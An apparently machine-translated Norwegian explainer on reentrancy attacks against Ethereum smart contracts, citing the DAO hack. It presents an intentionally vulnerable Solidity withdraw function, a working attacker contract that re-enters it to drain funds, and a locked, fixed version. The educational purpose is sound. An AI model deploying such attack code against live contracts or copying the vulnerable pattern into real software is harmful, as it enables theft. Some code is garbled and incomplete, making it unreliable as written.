Her er hvordan en av de vanligste smarte kontraktshackene som koster Web 3-selskaper millioner finner sted...
Noen av de største hackene i blokkjedeindustrien, der kryptovaluta-tokens verdt millioner av dollar ble stjålet, var et resultat av reentrancy-angrep. Selv om disse hackene har blitt mindre vanlige de siste årene, utgjør de fortsatt en betydelig trussel mot blokkjedeapplikasjoner og brukere.
Så hva er reentrancy-angrep egentlig? Hvordan er de utplassert? Og er det noen tiltak utviklere kan ta for å forhindre at det skjer?
Hva er et reentrancy-angrep?
Et reentrancy-angrep oppstår når en sårbar smart kontraktsfunksjon foretar et eksternt anrop til en ondsinnet kontrakt, og gir midlertidig opp kontrollen over transaksjonsflyten. Den ondsinnede kontrakten kaller deretter gjentatte ganger den opprinnelige smarte kontraktsfunksjonen før den fullføres mens den tapper pengene sine.
I hovedsak følger en uttakstransaksjon på Ethereum-blokkjeden en tre-trinns syklus: saldobekreftelse, remittering og saldooppdatering. Hvis en nettkriminell kan kapre syklusen før saldooppdateringen, kan de gjentatte ganger ta ut penger til en lommebok er tappet.
En av de mest beryktede blokkjede-hackene, Ethereum DAO-hack, som dekket av Coindesk, var et reentrancy-angrep som førte til et tap på over 60 millioner dollar i eth og fundamentalt endret kursen til den nest største kryptovalutaen.
Hvordan fungerer et reentrancy-angrep?
Se for deg en bank i hjembyen din hvor dydige lokalbefolkningen oppbevarer pengene sine; dens totale likviditet er 1 million dollar. Banken har imidlertid et mangelfullt regnskapssystem – ansatte venter til kvelden med å oppdatere banksaldoene.
Din investorvenn besøker byen og oppdager regnskapsfeilen. Han oppretter en konto og setter inn $100 000. En dag senere tar han ut 100 000 dollar. Etter en time gjør han et nytt forsøk på å ta ut $100 000. Siden banken ikke har oppdatert saldoen hans, står den fortsatt på $100 000. Så han får pengene. Han gjør dette gjentatte ganger til det ikke er penger igjen. Ansatte innser først at det ikke er penger når de balanserer bøkene om kvelden.
I sammenheng med en smart kontrakt går prosessen som følger:
- En nettkriminell identifiserer en smart kontrakt "X" med en sårbarhet.
- Angriperen initierer en legitim transaksjon til målkontrakten, X, for å sende midler til en ondsinnet kontrakt, "Y." Under kjøring kaller Y den sårbare funksjonen i X.
- Xs kontraktsutførelse settes på pause eller forsinkes mens kontrakten venter på interaksjon med den eksterne hendelsen
- Mens kjøringen er satt på pause, kaller angriperen gjentatte ganger den samme sårbare funksjonen i X, og utløser kjøringen så mange ganger som mulig.
- Med hver gjeninntreden blir kontraktens tilstand manipulert, slik at angriperen kan tappe penger fra X til Y
- Når midlene er oppbrukt, stopper reentry, Xs forsinkede utførelse fullføres til slutt, og kontraktens tilstand oppdateres basert på siste reentry.
Vanligvis utnytter angriperen reentrancy-sårbarheten til sin fordel, og stjeler midler fra kontrakten.
Et eksempel på et reentrancy-angrep
Så hvordan kan et reentrancy-angrep teknisk sett oppstå når det distribueres? Her er en hypotetisk smart kontrakt med en reentrancy gateway. Vi bruker aksiomatisk navngivning for å gjøre det lettere å følge med.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
De Sårbar kontrakt lar brukere sette inn eth i kontrakten ved hjelp av innskudd funksjon. Brukere kan deretter trekke tilbake sin deponerte eth ved hjelp av ta ut funksjon. Imidlertid er det en sårbarhet for gjeninntreden i ta ut funksjon. Når en bruker trekker seg, overfører kontrakten det forespurte beløpet til brukerens adresse før saldoen oppdateres, noe som skaper en mulighet for en angriper å utnytte.
Nå, her er hvordan en angripers smarte kontrakt vil se ut.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Når angrepet blir satt i gang:
- De Angriperkontrakt tar adressen til Sårbar kontrakt i sin konstruktør og lagrer den i sårbar Kontrakt variabel.
- De angrep funksjonen kalles opp av angriperen, og deponerer noe eth i Sårbar kontrakt bruker innskudd funksjon og deretter umiddelbart ringe opp ta ut funksjonen til Sårbar kontrakt.
- De ta ut funksjon i Sårbar kontrakt overfører den forespurte mengden eth til angriperens Angriperkontrakt før oppdatering av saldoen, men siden angriperens kontrakt er satt på pause under den eksterne samtalen, er funksjonen ennå ikke fullført.
- De motta funksjon i Angriperkontrakt utløses fordi Sårbar kontrakt sendte eth til denne kontrakten under den eksterne samtalen.
- Mottaksfunksjonen sjekker om Angriperkontrakt balansen er minst 1 eter (beløpet som skal trekkes ut), så går den inn igjen Sårbar kontrakt ved å ringe den ta ut funksjon igjen.
- Trinn tre til fem gjentas til Sårbar kontrakt går tom for midler og angriperens kontrakt akkumulerer en betydelig mengde etikk.
- Til slutt kan angriperen ringe ta utStolenFunds funksjon i Angriperkontrakt å stjele alle midlene samlet i kontrakten deres.
Angrepet kan skje veldig raskt, avhengig av nettverkets ytelse. Når man involverer komplekse smarte kontrakter som DAO Hack, som førte til den harde gaffelen til Ethereum inn i Ethereum og Ethereum Classic, skjer angrepet over flere timer.
Hvordan forhindre et angrep på nytt
For å forhindre et gjeninntreden-angrep, må vi endre den sårbare smarte kontrakten for å følge beste praksis for sikker utvikling av smarte kontrakter. I dette tilfellet bør vi implementere "checks-effects-interactions"-mønsteret som i koden nedenfor.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
I denne faste versjonen har vi introdusert en er låst kartlegging for å spore om en bestemt konto er i ferd med et uttak. Når en bruker starter et uttak, sjekker kontrakten om kontoen deres er låst (!isLocked[msg.sender]), noe som indikerer at ingen andre uttak fra samme konto for øyeblikket pågår.
Hvis kontoen ikke er låst, fortsetter kontrakten med tilstandsendringen og ekstern interaksjon. Etter tilstandsendringen og ekstern interaksjon låses kontoen opp igjen, noe som tillater fremtidige uttak.
Typer reentrancy-angrep
Generelt er det tre hovedtyper av reentrancy-angrep basert på deres natur utnyttelse.
- Enkelt-reentrancy-angrep: I dette tilfellet er den sårbare funksjonen som angriperen gjentatte ganger kaller den samme som er mottakelig for reentrancy-gatewayen. Angrepet ovenfor er et eksempel på et enkelt reentrancy-angrep, som enkelt kan forhindres ved å implementere riktige kontroller og låser i kode.
- Tverrfunksjonsangrep: I dette scenariet utnytter en angriper en sårbar funksjon for å kalle en annen funksjon innenfor samme kontrakt som deler en tilstand med den sårbare. Den andre funksjonen, kalt av angriperen, har en ønsket effekt, noe som gjør den mer attraktiv for utnyttelse. Dette angrepet er mer komplekst og vanskeligere å oppdage, så strenge kontroller og låser på tvers av sammenkoblede funksjoner er nødvendig for å redusere det.
- Angrep på tvers av kontrakter: Dette angrepet skjer når en ekstern kontrakt samhandler med en sårbar kontrakt. Under denne interaksjonen kalles den sårbare kontraktens tilstand inn i den eksterne kontrakten før den er fullstendig oppdatert. Det skjer vanligvis når flere kontrakter deler samme variabel og noen oppdaterer den delte variabelen på en usikker måte. Sikre kommunikasjonsprotokoller mellom kontrakter og periodiske smarte kontraktrevisjoner må implementeres for å dempe dette angrepet.
Reentrancy-angrep kan manifestere seg i forskjellige former og krever derfor spesifikke tiltak for å forhindre hver.
Hold deg trygg mot angrep på nytt
Reentrancy-angrep har forårsaket betydelige økonomiske tap og undergravd tilliten til blockchain-applikasjoner. For å beskytte kontrakter, må utviklere ta i bruk beste fremgangsmåter flittig for å unngå sårbarheter ved gjeninntreden.
De bør også implementere sikre uttaksmønstre, bruke pålitelige biblioteker og gjennomføre grundige revisjoner for å styrke forsvaret av den smarte kontrakten ytterligere. Selvfølgelig kan det å holde seg informert om nye trusler og være proaktiv med sikkerhetsarbeid sikre at de opprettholder blokkjedeøkosystemenes integritet også.